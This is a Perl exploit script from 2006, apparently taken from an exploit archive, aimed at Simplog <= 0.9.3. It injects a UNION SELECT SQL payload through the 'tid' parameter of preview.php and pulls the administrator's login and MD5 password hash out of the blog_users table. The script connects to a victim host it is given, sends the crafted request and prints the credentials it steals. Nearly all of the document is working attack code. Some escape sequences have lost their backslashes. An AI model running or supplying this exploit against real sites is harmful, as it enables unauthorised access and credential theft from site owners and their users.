[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Simplog <= 0.9.3 (tid) Remote SQL Injection Exploit
# Published : 2006-04-21
# Author : nukedx
# Previous Title : CoreNews <= 2.0.1 (userid) Remote SQL Injection Exploit
# Next Title : dForum <= 1.5 (DFORUM_PATH) Multiple Remote File Inclusions


#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=25
#Usage: simplog.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "n- NukedX Security Advisory Nr.2006-25rn";
  print "- Simplog <= 0.93 Remote SQL Injection Exploitrn";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> Path to Simplog ex: /simplog/rn";
  exit();
}
sub exploit () 
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http://)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "preview.php?adm=tem&blogid=1&tid=";
  $spxp     = "-1/**/UNION/**/SELECT/**/concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserverrn";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...n";
  print $sp "GET $spreq HTTP/1.1n";
  print $sp "Accept: */*n";
  print $sp "Referer: $sphostn";
  print $sp "Accept-Language: trn";
  print $sp "User-Agent: NukeZillan";
  print $sp "Cache-Control: no-cachen";
  print $sp "Host: $spservern";
  print $sp "Connection: closenn";
  print "- Connected...rn";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([d,a-f]{32})25554/) {
      print "- Exploit succeed!rn";
      print "- Username: $1rn";
      print "- MD5 HASH of PASSWORD: $2rn";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}

# nukedx.com [2006-04-21]

# www.Syue.com [2006-04-21]